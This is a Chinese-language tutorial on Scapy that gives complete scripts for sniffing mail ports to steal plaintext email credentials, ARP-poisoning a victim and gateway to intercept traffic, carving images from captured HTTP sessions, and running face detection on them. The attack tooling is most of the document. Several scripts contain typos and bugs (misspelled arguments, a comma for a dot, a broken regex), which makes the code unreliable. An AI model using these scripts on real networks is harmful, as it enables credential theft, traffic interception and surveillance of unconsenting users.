Scapy 是一個用來解析底層網路資料包的Python模組和互動式程式，該程式對底層包處理進行了抽象打包，使得對網路資料包的處理非常簡便。該類庫可以在在網路安全領域有非常廣泛用例，可用於漏洞利用開發、資料洩露、網路監聽、入侵檢測和流量的分析捕獲的。Scapy與資料視覺化和報告生成整合，可以方便展示起結果和資料。
我們會先簡單嘗試一下，用Scapy嗅探流量，從中竊取明文的郵箱身份憑證。然後對網路中的攻擊目標進行ARP投毒，以此嗅探它們的網路流量。最後，我們會演示如何藉助Scapy的pcap資料處理能力，從嗅探到的HTTP流量中提取圖片，並運用面部識別演算法來判斷其是否為人像照片。
竊取郵箱身份憑證：
Scapy提供了一個名字簡明扼要的介面函式sniff，它的定義是這樣的：
sniff(filter = " ", iface = "any", prn = function, count = N)
filter引數允許你指定一個Berkeley資料包過濾器（Berkeley Packet Filter，BPF），用於過濾Scapy嗅探到的資料包，也可以將此引數留空，表示要嗅探所有的資料包。
iface引數用於指定嗅探器要嗅探的網路卡，如果不設定的話，預設會嗅探所有網路卡。prn引數用於指定一個回撥函式，每當遇到符合過濾條件的資料包時，嗅探器就會將該資料包傳給這個回撥函式，這是該函式接受的唯一引數。count引數可以用來指定你想嗅探多少包，如果留空的話，Scapy就會一直嗅探下去。
mail_sniffer.py:
from scapy.all import sniff def packet_callback(packet): print(packet.show()) def main(): sniff(pro=packet_callback, count=1) if __name__ == '__main__': main()
在這個簡單的嗅探器中，它只會嗅探郵箱協議相關的命令。
接下來我們將新增過濾器和回撥函式程式碼，有針對性地捕獲和郵箱賬號認證相關的資料。
首先，我們將設定一個包過濾器，確保嗅探器只展示我們感興趣的包。我們會使用BPF語法（也被稱為Wireshark風格的語法）來編寫過濾器。你可能會在tcpdump、Wireshark等工具中用到這種語法。先來講一下基本的BPF語法。在BPF語法中，可以使用三種型別的資訊：描述詞（比如一個具體的主機地址、網路卡名稱或埠號）、資料流方向和通訊協議，如圖所示。你可以根據自己想找的資料，自由地新增或省略某個型別、方向或協議。
我們先寫一個BPF：
from scapy.all import sniff, TCP, IP #the packet callback def packet_callback(packet): if packet[TCP].payload: mypacket = str(packet[TCP].paylaod) if 'user' in mypacket.lower() or 'pass' in mypacket.lower(): print(f"[*] Destination: {packet[IP].dst}") print(f"[*] {str(packet[TCP].payload)}") def main(): #fire up the sniffer sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0)
#監聽郵件協議常用埠
#新引數store，把它設為0以後，Scapy就不會將任何資料包保留在記憶體裡 if __name__ == '__main__': main()
ARP投毒攻擊：
邏輯：欺騙目標裝置，使其相信我們是它的閘道器；然後欺騙閘道器，告訴它要發給目標裝置的所有流量必須交給我們轉發。網路上的每一臺裝置，都維護著一段ARP快取，裡面記錄著最近一段時間本地網路上的MAC地址和IP地址的對應關係。為了實現這一攻擊，我們會往這些ARP快取中投毒，即在快取中插入我們編造的記錄。
注意實驗的目標機為mac
arper.py：
from multiprocessing import Process from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap) import os import sys import time def get_mac(targetip): packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) resp, _= srp(packet, timeout=2, retry=10, verbose=False) for _, r in resp: return r[Ether].src return None class Arper: def __init__(self, victim, gateway, interface='en0'): self.victim = victim self.victimmac = get_mac(victim) self.gateway = gateway self.gatewaymac = get_mac(gateway) self.interface = interface conf.iface = interface conf.verb = 0 print(f'Initialized {interface}:') print(f'Gateway ({gateway}) is at {self.gateway}') print(f'Victim ({victim}) is at {self.gatewaymac}') print('_'*30) def run(self): self.poison_thread = Process(target=self.poison) self.poison_thread.start() self.sniff_thread = Process(target=self.sniff) self.sniff_thread.start() def poison(self): poison_victim = ARP() poison_victim.op = 2 poison_victim.psrc = self.gateway poison_victim.pdst = self.victim poison_victim.hwdst = self.victimmac print(f'ip src: {poison_victim.psrc}') print(f'ip dst: {poison_victim.pdst}') print(f'mac dst: {poison_victim.hwdst}') print(f'mac src: {poison_victim.hwsrc}') print(poison_victim.summary()) print('_'*30) poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = self,victim poison_gateway.pdst = self.gateway poison_gateway.hwdst = self.gatewaymac print(f'ip src: {poison_gateway.psrc}') print(f'ip dst: {poison_gateway.pdst}') print(f'mac dst: {poison_gateway.hwdst}') print(f'mac_src: {poison_gateway.hwsrc}') print(poison_gateway.summary()) print('_'*30) print(f'Beginning the ARP poison. [CTRL -C to stop]') while True: sys.stdout.write('.') sys.stdout.flush() try: send(poison_victim) send(poison_gateway) except KeyboardInterrupt: self.restore() sys.exit() else: time.sleep(2) def sniff(self, count=200): time.sleep(5) print(f'Sniffing {count} packets') bpf_filter = "ip host %s" % victim packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface) wrpcap('arper.pcap', packets) print('Got the packets') self.restore() self.poison_thread.terminate() print('Finished') def restore(self): print('Restoring ARP tables...') send(ARP( op=2, psrc=self.gateway, hwsrc=self.gatewaymac, pdst=self.victim, hwdst='ff:ff:ff:ff:ff:ff'), count=5) send(ARP( op=2, psrc=self.victim, hwsrc=self.victimmac, pdst=self.gateway, hwdst='ff:ff:ff:ff:ff:ff'), count=5) if __name__ == '__main__': (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3]) myarp = Arper(victim, gateway, interface) myarp.run()
pcap檔案處理：
recapper.py：
from scapy.all import TCP, rdpcap import collections import os import re import sys import zlib OUTDIR = '/root/Desktop/pictures' PCAPS = '/root/Downloads' Response = collections.namedtuple('Response', ['header','payload']) def get_header(payload): try: header_raw = payload[:payload.index(b'\r\n\r\n')+2] except ValueError: sys.stdout.write('_') sys.stdout.flush() return None header = dict(re.findall(r'?P<name>.*?): (?P<value>.*?)\r\n', header_raw.decode())) if 'Content-Type' not in header: return None return header def extract_content(Response, content_name='image'): content, content_type = None, None if content_name in Response.header['Content-Type']: content_type = Response.header['Content-Type'].split('/')[1] content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:] if 'Content-Encoding' in Response.header: if Response.header['Content-Encoding'] == "gzip": content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32) elif Response.header['Content-Encoding'] == "deflate": content = zlib.decompress(Response.payload) return content, content_type class Recapper: def __init__(self, fname): pcap = rdpcap(fname) self.session = pcap.session() self.responses = list() def get_responses(self): for session in self.session: payload = b'' for packet in self.session[session]: try: if packet[TCP].dport == 80 or packet[TCP].sport == 80: payload += bytes(packet[TCP].payload) except IndexError: sys.stdout.write('x') sys.stdout.flush() if payload: header = get_header(payload) if header is None: continue self.responses.append(Response(header=header, payload=payload)) def write(self, content_name): for i, response in enumerate(self.responses): content, content_type = extract_content(response, content_name) if content and content_type: fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}') print(f'Writing {fname}') with open(fname, 'wb') as f: f.write(content) if __name__ == '__main__': pfile = os.path.join(PCAPS, 'pcap.pcap') recapper = Recapper(pfile) recapper.get_responses() recapper.write('image')
如果我們得到了一張圖片，那麼我們就要對這張圖片進行分析，檢查每張圖片來確認裡面是否存在人臉。對每張含有人臉的圖片，我們會在人臉周圍畫一個方框，然後另存為一張新圖片。
detector.py：
import cv2 import os ROOT = '/root/Desktop/pictures' FACES = '/root/Desktop/faces' TRAIN = '/root/Desktop/training' def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN): for fname in os.listdir(srcdir): if not fname.upper().endswith('.JPG'): continue fullname = os.path.join(srcdir, fname) newname = os.path.join(tgtdir, fname) img = cv2.imread(fullname) if img is None: continue gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml') cascade = cv2.CascadeClassifier(training) rects = cascade.detectMultiScale(gray, 1.3,5) try: if rects.any(): print('Got a face') rects[:, 2:] += rects[:, :2] except AttributeError: print(f'No faces fount in {fname}') continue # highlight the faces in the image for x1, y1, x2, y2 in rects: cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2) cv2.imwrite(newname, img) if name == '__main__': detect()
到這裡，我們的實驗目標已經完成。對於其中的指令碼我們可以擴充套件更多的內容，請大家自行發揮。
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